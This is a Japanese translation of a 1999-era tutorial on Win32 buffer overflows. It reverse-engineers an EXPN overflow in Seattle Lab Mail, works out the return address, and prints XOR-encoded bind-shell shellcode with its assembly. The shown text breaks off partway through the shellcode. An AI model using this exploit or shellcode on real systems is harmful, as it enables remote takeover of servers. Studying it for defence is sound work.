Last Updated 2001/4/13 オリジナル記事はこ ちら。この文章に関して怪しい部分がありましたら、訳 者vp5m−snd@asahi−net.or.jpまでご連絡お願いいたします(Spacial Thanks to Mika Inohara.)
(Copyright reserved by dark spyrit AKA Barnaby Jack.)


●Security INDEXへ

★TOP INDEXへ

Win32バッファオーバーフロー

dark spyrit AKA Barnaby Jack <dspyrit@beavuh.org>

”希望が無いと決めつけると、希望は無くなってしまうものである。自由を求め
る気持ちがあれば、物事を変える機会はあるものだ”

Noam Chomsky(訳者注:アメリカの著名言論人。MIT教授)

概説

インターネットとは、言論、表現の自由が存在する最新の、そして最大のメディアであるが、これまでに何度もその自由を政府と会社に規制されてきた し、インターネットをコントロールしようとする力は今後どんどん強くなることが考えられる。

戦線は2つに分かれていて、現在のところ私達は優勢であるが、それはほんの少しだけに過ぎない。

ソフトウェア会社は、ソフトウェアをリバースして内容をパクる"black art"関連のサイトの類(なんやかんやと理由付けされては削除され続けている)があることが判っていても、検閲機関に訴えるしか方法がない。

それでもかろうじて、少数ではあるが、そういった規制から逃れ裏街道を行く人間がいて、情報を発信し続けている。そして、他の人々にそのような技術 を普及し、拡大し、発展させるための道すじを確保している。われわれが勝てるとすればこのポイントだろう。

アセンブリ言語使いはあまり居ないが、これを使えばどんな最新のツールでも打ち負かすことができる。

とにかく、みなさんが有益な情報を得られることを願う。その力を持てば、見合った代価が得られるからだ。アセンブリ言語は簡単とは言えないし、 Visual言語、Visualなんとかといったような言語群の中からドキュメントを見つけるのに苦労すると思うが、それでも探し続けていれば、きっと見 つけ出して喜べることだろう。

(アセンブラについて探求することは)みなさんが開発するソフトウエアの主な処理量や処理速度、制御性やサイズ、そしてパフォーマンス面で恩恵があ るだろう。そういったものは使いやすさやいわゆる「プロンプトベースの開発(CUI的開発)」のために犠牲にされてきたものだが。内部的な処理がどう流れ ているのかを知ることは、単に最適化のためだけではない。それはあまり重要ではない。むしろ重要なのは、金銭的報酬の見込みなどに毒されないままの、最優 先で純粋に自己を啓発し続ける意欲であり、頂点に居続けたいという願望である。そしてそういったもの動機こそが、全てのものを上回ると言える。

現在の主役はWindows NTであり、近い将来にはオープンソースの流れもそれほどインパクトを与える事象ではなくなるだろう。「フードの下を見る(内部処理の流れまで理解す る)」能力はますます重要な財産になるだろうし、この文書の最初のセクションでもそこに焦点を当てようと思う。

違法なリバースエンジニアリングがうまくいっていることは驚くことではないが、その類のやり方の影響はかなり危険である。

ベンダーにとってそういう準標準とも言えるコーディング技術を使うことが誘惑的である一方、セキュリティ産業はこういった技術に頼って弱点を見つけ てドキュメント化しているという事実もある。オンライン世界は結果として(それ(リバースエンジニアリングなどの裏技術)を使うかどうかで)悩んでいる。

敗北を認めるな。

イントロダクション

この文書は3セクションに分かれている。

1. スタンダードな裏技と一般的な弱点について。
2. 弱点を利用する方法についてのデモ。
弾頭と呼ぶプログラムを送り込んでwin32 remote overflowを利用する方法について。最近はシェルコードを使って外部のファイルをダウンロードさせ、それを実行する方法がトレンドである。
このテクニックを使った方法は非常に多く、ルータ/ファイアウォールのコンフィギュレーションによって使い分けられる。
ここで紹介する弾頭は指定したポートにfull-blown shellを直接植え付ける方法で、報告されている90%の問題はそれによって排除される。筆者が最初に気がついたのもこの類のものだ。

3. コードを利用されるのを防ぐために、独自のコードをどのように追加するかについて。

この文書中で使用している例は、最新バージョンのSeattle Labs mail serverである。 (3.2.3113)このソフトには膨大なbuffer overflowの問題点があるが、ここではpopサービス(の拡張機能)で開放されるポートについて述べる。

Seattle Labsは前のバージョンでこの問題に取り組んでいたが、解決はしていなかった。ただ、デフォルトポートを27から8376に変更しただけだった。

アホな対処だ。

一方この弱点は公開されているものなので、だからRuss(NTBugtraqのモデレータ)よ、頼むからアホなemailを送りつけないでくれよ な。

ここではアセンブリ言語、Windowsのプログラミング、portable executableの構造、buffer overflowの基本を知っていることを前提として話を進める。ここでは基礎的なことには触れない。

必要なツール
・Interactive Disassembler (IDA) http://www.datarescue.comからダウンロードできる。
・まともなデバッガー。 (例: SoftIce)
・PE dump (Matt Peitrek作) またはdumpbinであれば充分。
・hex editor 等なんでも。 PS Editはいい。
・Win32 API reference
・ TASM5.0 (もしこの文書中のツールを開発したいのであれば必要)

バイナリは、http://www.beavuh.orgから利用で きる。

Section1:フードの下

Interactive Disassembler Proは間違いなくコードをリバースするツールである。

ディスアセンブリはプログラムのエントリーポイントから始めて、すべての実行ルートをフォローし、その後、プログラムのメインフローの外に関数 (ファンクション)を位置付ける。マークしておけばすべてのデータとコードをコントロールすることができる。IDA (Interactive DisAssenbler)は膨大なライブラリ関数群を解析・解釈するので、ターゲットをより深く理解するのに役立つ。またそれは、広範なプロセッサ上の 信じられないほどの数のファイルフォーマットをディスアセンブルする。あるいはコメントを繰り返したり、ラベル付けしたり、コードの断片や関数の編集が" インタラクティブ"にできる。更にIDAには独自のマクロ言語があり、それを使用すれば雑仕事を自動化できる。

もしこのツールについてすべて説明しようとすれば、一日中かかっても足りないだろう。

IDAとSoftIceを組み合わせれば、できないことは何もない。

このセクションは少し短いが、なぜならIDAがSLMail(Seattle Lab Mail server)のコードを鉈のようにぶった切ってしまうからだ。

それではslmail.exeをIDAにロードしてみよう。

最初にターゲットについて少し考えてみる必要がある。SMTPコマンドのひとつを試してハッキングしてみると、そのコマンドにアクセスでき、テーブ ルから比較できることがわかる。

Alt+bを押して、search for text in coreが出てきたら、EXPNを押す。そうするとASCII ストリングの中間にヒットする。

----------
004439C0 aSize db 'SIZE',0
004439C5 align 4
004439C8 aXtrn db 'XTRN',0
004439CD align 4
004439D0 aEtrn db 'ETRN',0
004439D5 align 4
004439D8 aQuit db 'QUIT',0 ; DATA XREF:
sub_403970+280 o
004439D8 ; .data:00448A60 o
004439DD align 4
004439E0 aHelp_0 db 'HELP',0
004439E5 align 4
004439E8 aTurn db 'TURN',0 ; DATA XREF:
sub_403970+F0 o
004439ED align 4
004439F0 aExpn db 'EXPN',0
...<snip>

そこで、コマンドを参照するテーブルが必要になる。次にEXPNの左側にあるdword offset(004439f0)を入力して、テーブルを検索してみる。

すると以下のようになる。

----------
004436F8 dword_4436F8 dd 443A98h ; DATA XREF:
sub_404390+24 r
004436F8 ; sub_404390+34 o
004436FC db 3 ;
004436FD db 0 ;
004436FE db 0 ;
004436FF db 0 ;
00443700 db 94h ; "
00443701 db 3Ah ; :
00443702 db 44h ; D
00443703 db 0 ;
00443704 db 0Ah ;
00443705 db 0 ;
00443706 db 0 ;
00443707 db 0 ;
00443708 db 90h ; ?00443709 db 3Ah ; :
0044370A db 44h ; D
0044370B db 0 ;
0044370C db 1 ;
0044370D db 0 ;
0044370E db 0 ;
0044370F db 0 ;
...<snip>
004437E8 db 0F0h ; ?
004437E9 db 39h ; 9
004437EA db 44h ; D
004437EB db 0 ;
004437EC db 19h ;
004437ED db 0 ;
004437EE db 0 ;
004437EF db 0 ;

ここではまだテーブルは完全に出てきていない。そこでその構造を見てみることにする。

<pointer to string> <dword> <pointer to string> <dword> etc

各ポインタに続くdwordの値は、比較後に割り当てられた値であると考えられる。われわれの理論を検証してみよう。また、EXPNへのポインタ後 に値を追加しなければならない。例:004439f0h,00000019h

0×19を覚えておこう。

テーブルの一番上にスクロールすると、以下のようになる:

-----------
004436F8 dword_4436F8 dd 443A98h ; DATA XREF:
sub_404390+24 r
004436F8 ; sub_404390+34 o

右側にテーブルが参照されているところがあるので、サブルーチンの上をクリックする。
そうすると直接呼び出すことができる。

----------
004043B4 loc_4043B4: ; CODE XREF:
sub_404390+11 j
004043B4 mov ecx, dword_4436F8
004043BA test ecx, ecx
004043BC jz short loc_4043F3
004043BE mov ebp, ds:lstrlenA
004043C4 mov esi, offset dword_4436F8

esiにテーブルがロードされ、ebpはlstrlenAのアドレスを含んでいる。

-----------
004043C9
004043C9 loc_4043C9: ; CODE XREF:
sub_404390+61 j
004043C9 test eax, eax
004043CB jnz short loc_4043F3
004043CD mov eax, [esi]
004043CF push eax
004043D0 call ebp

さてここからだ。まず文字列がeaxにmoveされ、その文字列長を調べる関数がコールされる。

----------
004043D2 mov ecx, [esi]
004043D4 push eax
004043D5 push ecx
004043D6 push ebx
004043D7 call j_lstrncmpi
004043DC neg eax
004043DE sbb eax, eax
004043E0 inc eax
004043E1 jz short loc_4043E9

そこで、lstrncmpiのパラメータが以下のようになることがわかる。

strncmpi(first_string, second_string, number_of_chars);

スタックにpushされる最初のパラメタは文字列長関数からのリターン値で、次にその文字列へのポインタとしてecxがpushされ、最後はebx である。このことから、ebxはユーザからの入力を含んでいることがわかる。ここで中には多少混乱する人がいるかもしれないが、そう−−パラメータは逆順 でスタックに入る。

004043E3 xor edi, edi
004043E5 mov di, [esi+4]

ああ、思った通りだ。比較に成功したならばdiがポインタに続く値としてロードされる。

----------
004043E9
004043E9 loc_4043E9: ; CODE XREF:
sub_404390+51 j
004043E9 mov ecx, [esi+8]
004043EC add esi, 8
004043EF test ecx, ecx
004043F1 jnz short loc_4043C9
loop :)
004043F3
004043F3 loc_4043F3: ; CODE XREF:
sub_404390+18 j
004043F3 ; sub_404390+2C j ...
004043F3 mov eax, edi
004043F5 pop edi
004043F6 pop esi
004043F7 pop ebp
004043F8 pop ebx
004043F9 retn
004043F9 sub_404390 endp ; sp = -10h
004043F9

そして最後にeaxは値を保持し、コール先よりリターンする。続けよう。

----------
00405EC7 mov edx, [esp+2Ch+arg_8]
00405ECB mov ebx, eax
00405ECD mov eax, [esp+2Ch+arg_4]
00405ED1 push edx
00405ED2 push eax
00405ED3 push esi
00405ED4 lea ecx, [esp+3Ch]
00405ED8 push edi
00405ED9 push ecx
00405EDA push ebx
00405EDB call sub_404850

さて、ここで大切なのは、edxは入力した文字列を受け取って、ebxにはテーブル(0×19)からの値が与えられるという点だ。登録された順序を 覚えておけば、何がスタックから参照されているのかがわかる。そして次のコールでは、わかり易いようにスタックの名前を変更する。

注:ここまでで私はIDAが持っているすばらしい機能、(repeatable comments, labels等)を利用しているわけではない。そういうのが必要になるのは本当にリバースやってる道中に於いてだ。

----------
00404850 sub_404850 proc near ; CODE XREF:
sub_405330+73 p
00404850 ; sub_405560+73 p ...
00404850
00404850 var_270 = byte ptr -270h
00404850 var_26C = dword ptr -26Ch
00404850 var_268 = byte ptr -268h
00404850 var_264 = byte ptr -264h
00404850 var_23C = byte ptr -23Ch
00404850 var_230 = byte ptr -230h
00404850 var_168 = byte ptr -168h
00404850 var_110 = byte ptr -110h
00404850 var_105 = byte ptr -105h
00404850 var_104 = byte ptr -104h
00404850 var_10 = dword ptr -10h
00404850 var_4 = dword ptr -4
00404850 our_val = dword ptr 4
00404850 arg_4 = dword ptr 8
00404850 arg_8 = dword ptr 0Ch
00404850 arg_C = dword ptr 10h
00404850 arg_10 = dword ptr 14h
00404850 our_input = dword ptr 18h
00404850
00404850 mov ecx, [esp+our_val]
00404854 sub esp, 26Ch
0040485A xor eax, eax
0040485C cmp ecx, 8
0040485F push ebx
00404860 push ebp
00404861 push esi
00404862 push edi
00404863 jnz loc_4048E9

ここで、スタック変数を覚えやすい名前に変更する。例:arg_0はour_valに、arg_14はour_inputに。もしわからなくなった ら、戻って登録された順序をもう一度確認してみて欲しい。

ecxは0×19の値とロードされる。その後その値とは異なっている8と比較され、jump命令を実行する。

----------
004048E9
004048E9 loc_4048E9: ; CODE XREF:
sub_404850+13 j
004048E9 cmp ecx, 17h
004048EC jnz short loc_40495A
004048EE mov ecx, [esp+27Ch+arg_10]
004048F5 mov esi, [esp+27Ch+arg_C]
004048FC mov eax, [ecx]
004048FE cmp eax, 8
00404901 jnz short loc_404914
00404903 mov ecx, [esi+100h]
00404909 test ecx, ecx
0040490B jz short loc_404914
0040490D mov ebx, 1
00404912 jmp short loc_404916

再度17hとの比較があり、これも当然異なっているので、またもjump命令を実行する。

----------
00404B7F loc_404B7F: ; CODE XREF:
sub_404850+1C0 j
00404B7F cmp ecx, 19h
00404B82 jnz loc_404D7F
00404B88 mov eax, dword_457354
00404B8D test eax, eax
00404B8F jz loc_404D4F
00404B95 mov eax, dword_457384
00404B9A mov edi, [esp+27Ch+our_input]
00404BA1 push 0
00404BA3 push eax
00404BA4 push edi
00404BA5 call sub_4365A0

そしてここに居た。変数の名前をどんな風に変えたか思い出して欲しい。IDAはロックしちまったのか(笑)?

そしてediが入力文字列をgetし、また別のコールへと続く。次のコールへ飛び込むにあたってはまたしてもスタック変数名をわかりやすい名前に変 えてしまおう。例えばedi=arg_0=our_inputという具合に。

----------
004365A0 sub_4365A0 proc near ; CODE XREF:
sub_4029D0+92 p
004365A0 ; sub_4029D0+107 p ...
004365A0
004365A0 var_12C = byte ptr -12Ch
004365A0 var_12B = byte ptr -12Bh
004365A0 our_input = dword ptr 4
004365A0 arg_4 = dword ptr 8
004365A0 arg_8 = dword ptr 0Ch
004365A0
004365A0 mov eax, [esp+arg_8]
004365A4 mov ecx, [esp+arg_4]
004365A8 sub esp, 12Ch
004365AE lea edx, [esp+12Ch+var_12C]
004365B2 push 0
004365B4 push eax
004365B5 mov eax, [esp+134h+our_input]
004365BC push ecx
004365BD push 12Ch
004365C2 push edx
004365C3 push eax
004365C4 call sub_4364A0

またしても別のコールだが、eax=arg_0=our_inputというレジスタ内でのpush順序に注意しよう。ぼちぼち核心に近くなりつつあ る気がする。

----------
004364A0 sub_4364A0 proc near ; CODE XREF:
sub_436470+1B p
004364A0 ; sub_4365A0+24 p ...
004364A0
004364A0 var_98 = byte ptr -98h
004364A0 var_8C = byte ptr -8Ch
004364A0 var_78 = byte ptr -78h
004364A0 var_6C = byte ptr -6Ch
004364A0 var_35 = byte ptr -35h
004364A0 var_15 = byte ptr -15h
004364A0 var_8 = dword ptr -8
004364A0 var_4 = dword ptr -4
004364A0 our_input = dword ptr 4
004364A0 arg_4 = dword ptr 8
004364A0
004364A0 mov eax, [esp+our_input]
004364A4 sub esp, 64h
004364A7 push ebx
004364A8 push ebp
004364A9 push esi
004364AA mov esi, [esp+70h+arg_4]
004364AE push edi
004364AF push eax
004364B0 push esi
004364B1 call ds:lstrcpyA
004364B7 push 40h
004364B9 push esi
004364BA call j_lstrchr
004364BF test eax, eax
004364C1 jz short loc_4364C6
004364C3 mov byte ptr [eax], 0

さてここでは、古典的なscrew-up手法を用いてみる。esiはバッファを指し、eaxは文字列を保持する(bangという文字列の strcpy関数によるコピー)。

どなたかこのポイントで境界チェックをやったかどうか覚えていますか?

やってないですよね(笑)。

どうかみなさん、隠し事は無しにして下さい。何を考えてるか分かるんですよ(笑)。

そして、EXPNは確実に犠牲となっているのがわかる。他のコマンドを自由に使って、似たようなコーディングを実行してみよう。Seattle Labsがこの問題を片付けるのは大変だろう。

もっと速いリバース作業をやってみるだけでも、同じ様な間違いを発見することができる。しかし、こうした間違いはサーバー全体を危険にさらしてしま う。

明らかに、多くの場合うまくいくとは限らない。気長にハッキングしよう。忍耐が大切。時間をかけよう。そうすれば、驚くべきものを発見できるだろ う。長い忍耐の後で、様々な弱点が流れ出るように発見できるだろう。そういうことは知っている価値があることだ。

Section2: 弱点の利用

このセクションでは、いくつかのトリックはテクニックとWindowsのoverflowをハッキングする手順について述べるが、同時にWin32 をハッキングするために使用するコードの中で、筆者が最も理想的だと思うシェルコードについて文書化するのが主な目的である。

そこで、既に行ってきたことをもう一度復習したいと思う。
筆者が個人的にどのような方法を取ったかを述べておこう。このようなことを以前にやったことがある人は、読み飛ばしてシェルコードに移ってくれてもいい。

始める前に、セキュリティの世界のメンバーについて簡単に説明する。

筆者がIISをハッキングする方法(コンセプトの証明の定義(笑))を発表した時に、もらったメールのいくつかに「うげっ、これマジ?」と動揺し た。

メールは、大企業の社員からのもの、そしてもちろん政府機関、"ネットワークセキュリティの代表"という肩書きの人、サーバの危険度を調べるのに利 用している人などからのものだった。何人かはそのハッキング手法が失敗することを考慮し、リスクを最小限にするように準備していた。

1つのハッキングコードの結果だけで、その弱点がサーバの脅威となるかどうかを判断してはいけない。
弱点が存在するならば、その弱点を修復しよう。もし、それが唯一のコードであると考えているならば、あなたは頭を検査した方がいい。

読者の方々にはとにかくそうした態度を改めて欲しいものだ。一般的には未だにそうした考えが主流ならしい。間違いなく。

それでは始めよう。

筆者のNTの経験は限定的である。実はWindows 9xから最近乗り換えたばかりなのだ。

残念なことに、SoftIceはNTでエラートラップ時に少し問題があることに気付いた。そして別のデバッガーは、例外処理を実行した後で割り込ん でくる傾向がある。

これにはいくつかの理由がある。

例えば、文字列長さの関数が正しくないメモリ領域からデータを読もうとした後で例外が起こった場合、NT上ではそれ自体がexception handlerとなり、データと共にeipを上書きしてしまう(IISの例を思い出して欲しい)。

望むならその点でeipにオフセット値を送り込むこともできるが、そんなにクールなやり方でもないから、むしろ何か正しいアドレスを入れ込んで、そ のコードにデータへのリターン値を返させてみる方がずっといい。

ここで私が提案するのは、例外処理の中にブレイクポイントを設定して、eipが呼び出された場所をダンプする方法だ。

例: bpx KiUserexceptionDispatcher DO "dd *esp+0c"

もしeipが上書きされてなければ、そのオフセット値をbreakpointにして何をやんなきゃならないか見られるし、上書きされてたとしてもそ の位置のオフセット値がハッキングコードのオフセットバイトになるはずだ。

そのケースではまた、こわれたスタックに戻ってトライすることもできるし、eipに戻る戻り値に近い場所か、またはそこから推測可能な値に breakpointを見出すことができる。

次を見てみよう。

---------
attica:~> telnet 192.168.10.3 8376
Trying 192.168.10.3...
Connected to 192.168.10.3.
Escape character is '^]'.
220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here
expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

デバッガーが割り込んだため、この場合は明らかにeipは完全に上書きされてしまった、ということが、処理された場所、0x78787878を見る とわかる。例:xxxx.
さて、どこのアドレスに戻るのか、正確な場所を見つけたいと思う。
ディスアセンブルされたものを見てみよう。

----------
004364AF push eax
004364B0 push esi
004364B1 call ds:lstrcpyA

上のcall からlstrcpyまでの間にブレイクポイントを設けてみよう。するとバッファの操作ができるようになるが、トータルシステムコントロールからは少し遠ざ かった方がいいだろう。

データを送ってデバッガーを入れ、retを呼び出してみると以下のようになる。

----------
or eax, -01
add esp, 0000012c
ret

retがeipに落ちているが、これこそがやりたかったことである。これでコントロールができるようになった。

さて、もっと役立ちそうなことをやってみよう。

そのレジスタを試して、何をやらなきゃならないか見てみよう。espは統合されてバッファの中間のあたりのどこかを指している。ということはスタッ ク内にjumpできるということだが、それがなぜ厄介なのか?
他のレジスタを見てみよう。ediのバッファーは、"expn"のすぐ後にある。でもこれ以上のことはわからなかったわけだ。他にもスタックをジャンプす る方法には色々あるが、ほとんどいつも、"call edi"または似たようなものを見つけることになる。

このことについて少し考えてみよう。これまでのところただ単にslmail.exeのオフセットを参照しただけだ。しかし、これはWindowsの 世界での話だ。

null byteは避けなければならない。というのも、残念なことに0×00400000というデフォルトベースアドレスでロードされたexeそのものを使用する ことはできないからだ。
ストリングの最後にnullがあるので、データの最後にオフセットを置いた場合、実行権のある場所で使用することができる。しかし、それでは充分なスペー スがない。これをNTバージョンだけで使用したい訳ではないので、SLMailに含まれるDLL、あるいはすべてのサービスパックにある外部のDLLを使 用する必要があるわけだ。

さて、他にその処理から何がロードされるのか見てみよう。
SysInternals は、listdlls という簡易DLLを持っている。

C:\tools>listdlls slmail.exe
ListDLLs V2.1
Copyright (C) 1997-1999 Mark Russinovich
http://www.sysinternals.com
---------------------------------------------------------------------------
slmail.exe pid: 159
Base Size Version Path
0x00400000 0x62000 3.02.0001.1204 E:\PROGRA~1\SLmail\slmail.exe
0x77f60000 0x5c000 4.00.1381.0130 E:\WINNT\System32\ntdll.dll
0x10000000 0xc000 2.03.0000.0000 E:\WINNT\system32\OpenC32.dll
0x77f00000 0x5e000 4.00.1381.0133 E:\WINNT\system32\KERNEL32.dll
0x77ed0000 0x2c000 4.00.1381.0115 E:\WINNT\system32\GDI32.dll
0x77e70000 0x54000 4.00.1381.0133 E:\WINNT\system32\USER32.dll
0x77dc0000 0x3f000 4.00.1381.0121 E:\WINNT\system32\ADVAPI32.dll
0x77e10000 0x57000 4.00.1381.0131 E:\WINNT\system32\RPCRT4.dll
0x77d80000 0x32000 4.00.1381.0027 E:\WINNT\system32\comdlg32.dll
0x77c40000 0x13c000 4.00.1381.0114 E:\WINNT\system32\SHELL32.dll
0x77aa0000 0x74000 4.72.3609.2200 E:\WINNT\system32\COMCTL32.dll
0x776d0000 0x8000 4.00.1381.0131 E:\WINNT\system32\WSOCK32.dll
0x776b0000 0x14000 4.00.1381.0133 E:\WINNT\system32\WS2_32.dll
0x78000000 0x40000 6.00.8337.0000 E:\WINNT\system32\MSVCRT.dll
0x776a0000 0x7000 4.00.1381.0031 E:\WINNT\system32\WS2HELP.dll
0x77a90000 0xb000 4.00.1371.0001 E:\WINNT\system32\VERSION.dll
0x779c0000 0x8000 4.00.1371.0001 E:\WINNT\system32\LZ32.dll
0x77bf0000 0x7000 4.00.1381.0072 E:\WINNT\system32\rpcltc1.dll
0x77660000 0xf000 4.00.1381.0037 E:\WINNT\system32\msafd.dll
0x77690000 0x9000 4.00.1381.0037 E:\WINNT\System32\wshtcpip.dll
0x74ff0000 0xd000 4.00.1381.0131 E:\WINNT\System32\rnr20.dll

この中には充分なDLLがロードされていないので、外部から他のDLLを取って来よう。
すべてのサービスパックに付属している、LZ32.DLLがいいだろう。必要なコードが入っているし、オフセットにはnull byteがない。

"call edi"がある場所、0x779C1CAAを見てみよう。

次の問題は、バッファーのどこにオフセットを置くのかを知る必要があるということだ。
一番早くて簡単な方法は、バッファーを、1A, 2A, 3A, 4A….A1, A2等の独立したバイトで埋め尽くすことだ。そうすると、eipが上書きされた時、その場所を指すことができる。

すぐに、バッファー中に約300バイトの場所が必要であることがわかる。
だから、
expn <299 nops> 0x779c1caa
となる。

従って現在のフォームでは、そのデータを送った場合、eipは0x779c1caa(ediを呼び出し、nopsを実行する)というオフセットに戻 るだろう。ガベージ(メモリ管理プロセス)が行うオフセット値の変換をバイパスして、ちょっとしたjumpを行うために加えたオフセットの直前に戻ること になる。

さあ、これで残ったのは最後に弾頭を装着することだけだ。

時間だ。

弾頭

注:このstring table/jump tableのアイディアは、Dildogが考えたものだ。
とてもクールで驚くほどのことができる。

ゴール:

特定のポートにコマンドプロンプトを直接植え付けて、すべてのNTバージョンで実行させる。

参考:

  1. OSのバージョンは不明。
  2. 関数の場所は、バージョン、サービスパック、アップグレードによって異なる。
  3. SLMail用のインポートテーブルは、必要な機能をすべて備えている訳ではない。
  4. null byteとcarriage returnは避けなければならない。

最初の3つの問題は、SLMailのIATにリンクして、外部の機能をロードするために使用すれば解決できる。
4番目の問題については?これはクレバーになるしかない。

シェルコードをなるべくそのままの状態でキープするために、使用するすべての外部関数のjump tableを作成する。その際、SLMailインポートと2つの例外に依存せずに作成する。

DLLをロード可能にして必要なアドレスを取得できるようにするために、slmail.exeのインポートテーブルから2つの機能 (GetProcAddress と LoadLibraryA)を参照する必要がある。

作成したテーブルを見る前に、WinNTでリモートシェルを植え付ける時に何が起こるのかを簡単に説明したい。残念ながら、某Unixで作業するの と同じようにはいかないが、説明は可能だ。full-blownリモートシェルを植え付けることを可能にするために、標準出力と標準エラー出力を接続ユー ザにリダイレクトできなければならない。そして、接続ユーザは、標準入力をコントロールできるようになっていなければならない。

さてどうやってやるのだろう?

anonymous pipeを使用するのだ。
anonymous pipeの主な用途は、親/子または子/子間のデータを交換することだ。

anonymous pipeは一方通行のパイプであり、データは一つの端から別の端へ一方向に流れる。コンソールで作業すればその便利さがはっきりわかる。例えば、作成され たパイプの一端を掴んでstdin/stdout/stderrでリプレイスするといったようなことができる。ということは Readfile/WritefileのAPIを使ってパイプの読み書きができるというわけだ。
stdoutパイプのread endから、接続されたソケットにバッファーを送る。すると、接続されたソケットから受取るのは、stdinパイプのwrite endに送信したものということになる。

残念ながらstring tableをそのまま残しておくと、ほんの少しの関数をそこに含まなければならないため、大切なバイトをすべて食いつぶしてしまう。スタック領域に縛られ たとときには、もっとターゲットのIATからの関数を使うことを望むだろう。

そのテーブル:

         db "KERNEL32",0 ;string to push for LoadLibrary.
db "CreatePipe",0
db "GetStartupInfoA",0

;実行起動時の構造体をシェルコードをインクルードするにはかなり大きすぎる構造体として修正してしまおう。

         db "CreateProcessA",0
db "PeekNamedPipe",0
db "GlobalAlloc",0
db "WriteFile",0
db "ReadFile",0
db "Sleep",0
db "ExitProcess",0
db "WSOCK32",0
db "socket",0
db "bind",0
db "listen",0
db "accept",0
db "send",0
db "recv",0

sockstruc STRUCT
sin_family dw 0002h
sin_port dw ?
sin_addr dd ?
sin_zero db 8 dup (0)
sockstruc ENDS

;sin_portワード値はシェルコードが送られる前にハッキングクライアントによって埋め尽くされるだろう 。

db "cmd.exe",0
dd 0ffffffffh
db 00dh, 00ah

;コマンドプロンプトを発生するためにpushされる文字列。
;終わりのdwordは実行時ストリングテーブルの最後を参照するために使われる。

読者諸君が何を考えているかわかる。
すべてのストリングはnullで終わっていて、その構造はnullを含んでいる、ということであろう。

それを考慮するならば、ストリングテーブルを0x99でXORするわけである。キャリッジリターン(CR)と改行(LF)それに 0xFFFFFFFFのdwordがなければであるが。

そうすると、暗号化されたテーブルは以下のようになる。

 00000280  .. .. .. .. .. .. .. .. .. .. .. D2 DC CB D7 DC              .....
00000290 D5 AA AB 99 DA EB FC F8-ED FC C9 F0 E9 FC 99 DE ................
000002A0 FC ED CA ED F8 EB ED EC-E9 D0 F7 FF F6 D8 99 DA ................
000002B0 EB FC F8 ED FC C9 EB F6-FA FC EA EA D8 99 DA F5 ................
000002C0 F6 EA FC D1 F8 F7 FD F5-FC 99 C9 FC FC F2 D7 F8 ................
000002D0 F4 FC FD C9 F0 E9 FC 99-DE F5 F6 FB F8 F5 D8 F5 ................
000002E0 F5 F6 FA 99 CE EB F0 ED-FC DF F0 F5 FC 99 CB FC ................
000002F0 F8 FD DF F0 F5 FC 99 CA-F5 FC FC E9 99 DC E1 F0 ................
00000300 ED C9 EB F6 FA FC EA EA-99 CE CA D6 DA D2 AA AB ................
00000310 99 EA F6 FA F2 FC ED 99-FB F0 F7 FD 99 F5 F0 EA ................
00000320 ED FC F7 99 F8 FA FA FC-E9 ED 99 EA FC F7 FD 99 ................
00000330 EB FC FA EF 99 9B 99 82-A1 99 99 99 99 99 99 99 ................
00000340 99 99 99 99 99 FA F4 FD-B7 FC E1 FC 99 FF FF FF ................
00000350 FF 0D 0A ...

これはシェルコードの終わりまで続く。

さて、次の項目に進もう。

注:この方法は、0x00400000のベースアドレスを想定している。

次からは、説明を読みながらデバッガーのコードを飛ばす方法を勧める。

 :00000138 33C0                    xor eax, eax
:0000013A 50 push eax
:0000013B F7D0 not eax
:0000013D 50 push eax
:0000013E 59 pop ecx
:0000013F F2 repnz
:00000140 AF scasd
:00000141 59 pop ecx
:00000142 B1C6 mov cl, C6
:00000144 8BC7 mov eax, edi
:00000146 48 dec eax
:00000147 803099 xor byte ptr [eax], 99
:0000014A E2FA loop 00000146

dword(0xFFFFFFFF)のバッファーをスキャンして、暗号化されたstring tableの最後にediをセットする。ecxは暗号解除した文字数を保持している。ediはeaxに移動して、各バイトは非暗号化される(0x99での XOR演算)。eaxは今string tableの始めを指している。

 :0000014C 33F6                    xor esi, esi
:0000014E 96 xchg eax,esi
:0000014F BB99101144 mov ebx, 44111099
:00000154 C1EB08 shr ebx, 08
:00000157 56 push esi
:00000158 FF13 call dword ptr [ebx]

ここでLoadLibraryAを呼び出し、esiをパラメータとしてプッシュしてみる。それはテーブルの最初のストリングにあるKERNEL32 を指している。ebxにSLMailインポートテーブルのLoadLibraryの場所を与えることによって呼び出される。そして、null値を使用する のを避けるために、余分なバイトを貼り付ける。その後値を右に1バイトシフトして、それを抹消する。LoadLibraryA=00441110h

 :0000015A 8BD0                    mov edx, eax
:0000015C FC cld
:0000015D 33C9 xor ecx, ecx
:0000015F B10B mov cl, 0B
:00000161 49 dec ecx
:00000162 32C0 xor al, al
:00000164 AC lodsb
:00000165 84C0 test al, al
:00000167 75F9 jne 00000162

機能のjump tableを作成するために、ecxにカーネルから指定した処理を与える。
null byteに到達するまで、esiをインクリメントする。次のストリングに移動する。

:00000169 52 push edx
:0000016A 51 push ecx
:0000016B 56 push esi
:0000016C 52 push edx
:0000016D B30C mov bl, 0C
:0000016F FF13 call dword ptr [ebx]
:00000171 AB stosd
:00000172 59 pop ecx
:00000173 5A pop edx
:00000174 E2EC loop 00000162

